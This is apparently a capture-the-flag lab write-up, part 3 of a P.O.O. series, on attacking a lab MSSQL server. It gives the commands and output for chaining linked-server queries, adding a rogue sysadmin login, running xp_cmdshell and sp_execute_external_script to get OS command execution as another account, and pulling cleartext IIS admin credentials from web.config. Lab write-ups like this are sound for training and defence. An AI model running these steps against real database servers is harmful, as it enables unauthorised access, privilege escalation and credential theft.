Post

P.O.O — Part 3: BackTrack

P.O.O — Part 3: BackTrack

P.O.O — Part 3: BackTrack

Escalating privileges through linked servers and uncovering hidden IIS credentials.

💭 Thought Process: “At this point, I wasn’t sure where else to go, so I referenced this cheat sheet and enumerated more.

Enumerating access on DB

Let’s try and list all the users first

SQL (external_user  external_user@master)> select * from openquery("COMPATIBILITY\POO_CONFIG", 'select * from openquery("COMPATIBILITY\POO_PUBLIC", ''select name from master..syslogins;'')')
name                                      
---------------------------------------   
sa                                        

##MS_SQLResourceSigningCertificate##      

##MS_SQLReplicationSigningCertificate##   

##MS_SQLAuthenticatorCertificate##        

##MS_PolicySigningCertificate##           

##MS_SmoExtendedSigningCertificate##      

##MS_PolicyTsqlExecutionLogin##           

COMPATIBILITY\Administrator               

NT SERVICE\SQLWriter                      

NT SERVICE\Winmgmt                        

NT Service\MSSQL$POO_PUBLIC               

NT AUTHORITY\SYSTEM                       

NT SERVICE\SQLAgent$POO_PUBLIC            

NT SERVICE\SQLTELEMETRY$POO_PUBLIC        

external_user                             

##MS_PolicyEventProcessingLogin##         

##MS_AgentSigningCertificate##            

ag

“This information can be valuable in a penetration test, but to filter further we can add the WHERE to check for the users that are sysadmin.

SQL (external_user  external_user@master)> select * from openquery("COMPATIBILITY\POO_CONFIG", 'select * from openquery("COMPATIBILITY\POO_PUBLIC", ''select name from master..syslogins where sysadmin = 1;'')')
name                             
------------------------------   
sa                               

COMPATIBILITY\Administrator      

NT SERVICE\SQLWriter             

NT SERVICE\Winmgmt               

NT Service\MSSQL$POO_PUBLIC      

NT SERVICE\SQLAgent$POO_PUBLIC   

ag

Adding my own user to DB

💭 Thought Process: “I wasn’t able to find much useful information, so I decided to try another way. Since I could query the DB as sysadmin, I thought: why not create a new user and add it to the sysadmin group?”

Let’s try that

I just pasted the commands for ease of use as these don’t have an output to the STDOUT!

# To create a new user
EXECUTE('EXECUTE(''CREATE LOGIN lulz WITH PASSWORD = ''''p@ssw0rd!'''';'') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG] #Adding the newly created user to the sysadmin group
EXECUTE('EXECUTE(''EXEC sp_addsrvrolemember ''''lulz'''', ''''sysadmin'''''') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG]

After once again struggling with the quotes I was able to create a new user and add it to the sysadmin group, to confirm we can just run the previous command again.

# Except the one I just created above and the ones with the prefex of NT all are of the other people doing the box and my failed attemptes 

SQL (external_user  external_user@master)> select * from openquery("COMPATIBILITY\POO_CONFIG", 'select * from openquery("COMPATIBILITY\POO_PUBLIC", ''select name from master..syslogins where sysadmin = 1;'')')
name                             
------------------------------   
sa                               

COMPATIBILITY\Administrator      

NT SERVICE\SQLWriter             

NT SERVICE\Winmgmt               

NT Service\MSSQL$POO_PUBLIC      

NT SERVICE\SQLAgent$POO_PUBLIC   

df                               

ag                               

mkd                              

hacker                           

super                            

lulz    <----- The one we are concerned with 

Now I am going to just login with my new user for keeping things simple.

1
2
3
4
5
6
7
8
9
10
11
12
/usr/share/doc/python3-impacket/examples/mssqlclient.py 'lulz:p@ssw0rd!@10.13.38.11' 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 88) 
[!] Press help for extra shell commands
SQL (lulz  dbo@master)>

For another confirmation, we can run all the commands from before but this time without the long syntax.

SQL (lulz  dbo@master)> select * from master.dbo.sysdatabases;
name         dbid                                   sid   mode   status      status2       crdate   reserved              category   cmptlevel   filename                                                                                 version   
----------   ----   -----------------------------------   ----   ------   ----------   ----------   -------------------   --------   ---------   --------------------------------------------------------------------------------------   -------   
master          1                                 b'01'      0    65544   1090520064   2003-04-08 09:13:36   1900-01-01 00:00:00          0         140   C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\master.mdf               869   

tempdb          2                                 b'01'      0    65544   1090520064   2025-08-04 06:27:36   1900-01-01 00:00:00          0         140   C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\tempdb.mdf               869   

model           3                                 b'01'      0    65536   1090519040   2003-04-08 09:13:36   1900-01-01 00:00:00          0         140   C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\model.mdf                869   

msdb            4                                 b'01'      0    65544   1627390976   2017-08-22 19:39:22   1900-01-01 00:00:00          0         130   C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\MSDBData.mdf             869   

POO_PUBLIC      5   b'd57365b902765d41bc31e0c230f5af02'      0    65536   1627389952   2018-03-17 13:49:29   1900-01-01 00:00:00          0         140   C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\poo_public_dat.mdf       869   

flag            6                                 b'01'      0    65536   1627389952   2018-03-22 18:38:13   1900-01-01 00:00:00          0         140   C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\flag_dat.mdf             869

We can try and use xp_cmdshell and voilà — it works !!!

SQL (lulz  dbo@master)> xp_cmdshell whoami
output                        
---------------------------   
nt service\mssql$poo_public   

NULL

Now using xp_cmdshell I tried to enumerate further

SQL (lulz  dbo@master)> xp_cmdshell dir  C:\
output                                                        
-----------------------------------------------------------   
 Volume in drive C has no label.                              

 Volume Serial Number is C675-9954                            

NULL                                                          

 Directory of C:\                                             

NULL                                                          

07/12/2024  02:06 PM    <DIR>          790e6b01e79bdb5f225e   

08/06/2025  12:11 PM    <DIR>          AdminShare             

12/13/2019  04:58 AM    <DIR>          inetpub                

08/06/2025  11:28 AM    <DIR>          Microsoft              

07/12/2024  12:45 PM    <DIR>          PerfLogs               

07/12/2024  03:09 PM    <DIR>          Program Files          

07/12/2024  11:53 AM    <DIR>          Program Files (x86)    

12/12/2019  07:02 PM    <DIR>          Users                  

07/15/2024  05:38 PM    <DIR>          Windows                

               0 File(s)              0 bytes                 

               9 Dir(s)   6,954,110,976 bytes free            

NULL

💭 Thought Process: “In the initial enumeration of the target I could see IIS running and inetpub is the directory created as it’s root directory so it’s definitely a good directory to check for possible credentials.”

Escalating to poo_public01

Interestingly I can’t read the web.config file as the current user.

SQL (lulz  dbo@master)> xp_cmdshell type  C:\inetpub\wwwroot\web.config
output              
-----------------   
Access is denied.   

NULL

💭 Thought Process: “I tried looking at other directories and tried checking if I can find anything else of use but was no luck, so it was time for some Google-fu. I searched for xp_cmdshell privilege escalation.”

Google Search

I found this article which I would recommend you as a reader go through. Although what I relied on more to be able to understand the bug was this link by Microsoft.

The best way forward was to use this and check whether we could execute commands as another user.

SQL (lulz  dbo@master)> sp_configure 'show advanced options', '1'
INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (lulz  dbo@master)> RECONFIGURE
SQL (lulz  dbo@master)> EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 

Express Edition will continue to be enforced.
POO_PUBLIC01
SQL (lulz  dbo@master)> EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 

Express Edition will continue to be enforced.
POO_PUBLIC01
SQL (lulz  dbo@master)> EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 
compatibility\poo_public01

Express Edition will continue to be enforced.
0

We were now able to execute commands as poo_public01, which in turn allowed us to read the web.config file:

SQL (lulz  dbo@master)> EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 

Express Edition will continue to be enforced.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <staticContent>
            <mimeMap
                fileExtension=".DS_Store"
                mimeType="application/octet-stream"
            />
        </staticContent>
        <!--
        <authentication mode="Forms">
            <forms name="login" loginUrl="/admin">
                <credentials passwordFormat = "Clear">
                    <user 
                        name="Administrator" 
                        password="EverybodyWantsToWorkAtP.O.O."
                    />
                </credentials>
            </forms>
        </authentication>
        -->
    </system.webServer>
</configuration>

Here we discovered credentials that could be used at the /admin endpoint on the IIS web server.

💭 Thought Process: “One of the reasons I decided to test these credentials was that I had already noticed an IIS login page. Since these credentials came directly from the web.config file, it made sense that they might work here. Still, under any other circumstances, I’d also add them into a wordlist to spray across the domain or other potential login portals.”

And sure enough using the credentials allowed us to log in and retrieve the next flag.

Flag

This completes the BackTrack phase of P.O.O. In the next post we’ll use the IIS credentials we recovered to gain a foothold on the host.

What did we achieve ?

  • Enumerated MSSQL logins across linked servers.
  • Identified accounts with sysadmin privileges.
  • Created a new login (lulz) and added it to the sysadmin role.
  • Logged in as lulz for convenient interaction.
  • Enabled and used xp_cmdshell to execute OS commands.
  • Used sp_execute_external_script to run Python under a higher-privileged context (executing as poo_public01).
  • Retrieved web.config and recovered IIS admin credentials.
  • Used the IIS credentials to access the web admin and obtain the next flag.

Key Learnings & Tips (BackTrack Phase)

  • When linked servers exist, check for circular links — they may present privilege escalation opportunities.
  • Creating a dedicated SQL login (when possible) is a safe testing strategy that avoids relying on other users’ accounts.
  • Check whether xp_cmdshell is enabled — it’s often the quickest path from SQL to OS-level enumeration.
  • sp_execute_external_script (Python/R) is powerful on modern SQL Server versions; ensure it’s enabled only when needed and is audited.
  • Web config files frequently contain credentials; treat configuration files as sensitive and avoid storing credentials in cleartext.
  • Document every nested query and escaping step — nested openquery/EXECUTE calls can be fragile and syntactically tricky.

Stay tuned…

This post is licensed under CC BY 4.0 by the author.

Trending Tags